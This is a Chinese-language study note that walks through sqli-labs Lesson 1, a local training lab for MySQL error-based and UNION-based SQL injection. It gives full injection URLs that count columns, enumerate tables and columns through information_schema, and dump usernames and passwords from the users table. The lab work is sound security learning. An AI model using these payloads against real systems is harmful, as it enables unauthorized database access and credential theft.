Sqli-labs學習第一題
很多東西瞭解一下,然後去用,總會遇到問題,一定不能淺嘗輒止,要深入學習下,不能說說,要及時複習,要經常用才不會忘。
一直用 sqlmap,很少手工注入,但是很多時候不是別人寫的工具就能解決的,要自己的工具適應不同的場景,編寫自己的工具,那麼首先要手工流程很熟悉才可以。
決定實踐一遍 sqli-labs,還有各大平臺的CTF都來一遍。
實踐是檢驗真理的唯一標準
搭建在本地的:
第一題是最簡單的 get 報錯注入
我加了個單引號立馬就報錯了
根據報錯語句
check the manual that corresponds to your MySQL server version for the right syntax to use
near ''1'' LIMIT 0,1' at line 1
也就是說傳入的id是查詢的id,然後後面的語句是 limit 0,1
可以在頁面上加上一條語句來輸出sql語句
echo "你的 sql 語句是:".$sql."<br>";
使用 order by判斷使用了幾個欄位,然後使用 union聯合查詢
什麼意思呢?
order by的意思是 根據什麼來排序,然後 order by 3 %23 是什麼意思呢?
就是 按第三個欄位排序, %23是 #的url編碼,#是mysql中的註釋
如果 order by 4 就會報錯了,因為沒有第4個欄位
order by 4報錯
目前說明了這個表一共有 3個欄位
使用 union 是聯合查詢,將前面的select與後面的 select 的查詢結果合併起來
那麼我們讓第一個 select的查詢位空,那麼頁面上顯示的就是後面的select也就是我們想要執行的查詢語句
可以使用NULL來代替。
查詢資料庫的版本 version()
還有 一共3個欄位,使用 union的話前面的查詢出來的欄位的型別要與後面的一樣,不然會報錯
資料庫中有3個欄位,但是第一個欄位不會顯示到頁面
http://localhost:9096/sqli-labs/Less-1/?id=-1' union select NULL,version(),user()%23
火狐新版本真雞兒難用
獲取資料庫版本和現在使用的資料庫版本
改成 user()
獲取使用者
user() version() database() 都是mysql的函式。
通過這樣執行來獲取資料庫資訊。
這樣是兩個位置,還可以使用 資料庫的連線函式
concat和concat_ws group_concat
正好這裡學習一下這幾個函式的使用:
concat(str1,str2,…)
返回結果為連線引數產生的字串。如有任何一個引數為NULL,則返回為NULL,若所有引數均為非二進位制字串,則結果為非二進位制字串,但是變數中包含一個二進位制字串,則結果就是一個二進位制字串。
也就是可以這樣來一個位置獲取兩個值
要注意,要執行命令 use 資料庫
database()返回的才是現在使用的資料庫也就是 use的。
不然沒有使用當然返回的是NULL
第二個 concat_ws
這個是 concat的特殊形式,第一個引數是其他引數的分隔符,分割位置放在要連線的兩個字串之間,分隔符可以是一個字串,也可以是其他引數
第三個 group_concat()分組拼接函式
group_concat([DISTINCT] 要連線的字串 [ORDER BY ASC/DESC 排序欄位] [SEPARATOR ‘分隔符’])
select cat_id,group_concat(shop_price) from goods group by cat_id limit 3;
什麼意思呢?
查詢 cat_id和 對應的這個組的所有的 shop_price 按 cat_id分組。
這樣就獲取到指定分組的所有的資料了。
還可以指定分隔符
select cat_id,group_concat(shop_price separator ':') from goods group by cat_id limit 3;
還可以排序
select cat_id,group_concat(shop_price order by shop_price desc) from goods group by cat_id limit 3;
接回原來。
但是如果直接使用 : html會被轉義
可以使用 mysql的char函式將十進位制轉為字元
:的十進位制也就是ASCII 是 58
char函式很有用,防止被 html編碼
說是這麼說,但是我嘗試了直接還可以的
http://localhost:9096/sqli-labs/Less-1/?id=-1';
union select NULL,concat_ws(': ',version(),database(),user()),NULL%23
既然知道了資料庫,那麼我們就要想知道資料庫中有什麼資料表
這裡要用到mysql資料庫的預設資料庫 information_schema
這個記錄了當前資料庫的資料庫,表,列等等資訊。
也就是說我們可以從這個資料庫中查詢我們想要的資訊
這個 information_schema的表
schemata表:
儲存mysql所有資料庫的基本資訊,包括資料庫名,編碼型別路徑等,
原來 show database也是取自這個表
tables表:
一看就知道儲存mysql中的表資訊。
columns表:
當然就是表中的列資訊了。
select * from information_schema.tables where table_schema=security;
首先為什麼使用 table_schema呢?
首先使用資料庫 information_schema
檢視都有什麼表:
查詢下 tables表的結構
可以看到 table_schema
我們再來看下這個欄位的資料
都是資料庫,所有~~~
select * from information_schema.tables where table_schema = 'security';
最後的要是字元才可以。
也可以使用十六進位制,然後使用十六進位制是最好的,不然還有單引號等問題
十六進位制前面要加上 0x
可以嘗試下
那麼使用
http://localhost:9096/sqli-labs/Less-1/?id=-1'; union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 %23
閉合前面select查詢的結果為空,後面查詢 information_schema資料庫,根據我們得到的資料庫來查詢表的資訊
table_name來獲取表
資料庫表的資訊
為什麼我沒有加 limit 也是隻返回第一個呢?
因為的 php的函式
mysql_fetch_array只被呼叫了一次,而mysql_fetch_array() 函式從結果集中取得一行作為關聯陣列
他只取了遊標最上面的~
那我們想獲取後面的表就可以使用 limit
http://localhost:9096/sqli-labs/Less-1/?id=-1'; union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,2%23
斷的改 limit就可以獲取所有的表了~
http://localhost:9096/sqli-labs/Less-1/?id=-1'; union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,3%23
一直到 4,5返回空了
http://localhost:9096/sqli-labs/Less-1/?id=-1'; union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 4,5%23
這樣我們獲取到了表 emails referers uagents users
既然有 users 肯定有管理員的使用者名稱和密碼
有了表,我們就要查詢欄位,同樣使用 inforamtion_schema資料庫
來獲取我們想要的資訊
select * from information_schema.columns where table_schema='security';
使用:
http://localhost:9096/sqli-labs/Less-1/?id=-1'; union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name= 0x7573657273 %23
與查詢資料庫變了下欄位
同樣的道理
但是要注意加了 and table_name,要是表字段是我們想要的users才行,
同樣使用
http://localhost:9096/sqli-labs/Less-1/?id=-1'; union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 limit 1,2%23
更改 limit獲取欄位的資訊
id,username,password
我們現在知道了欄位。那麼就可以直接 select 獲取了
http://localhost:9096/sqli-labs/Less-1/?id=-1';
union select 1,2,concat_ws(':',id,username,password) from users%23
以後每週都會學習sqli-lab和ctf,也都會做相應的部落格筆記。這次不再是筆記了,我要有這讓別人能很容易看懂的去寫,真正理解的去寫。
想學不要想去做吧。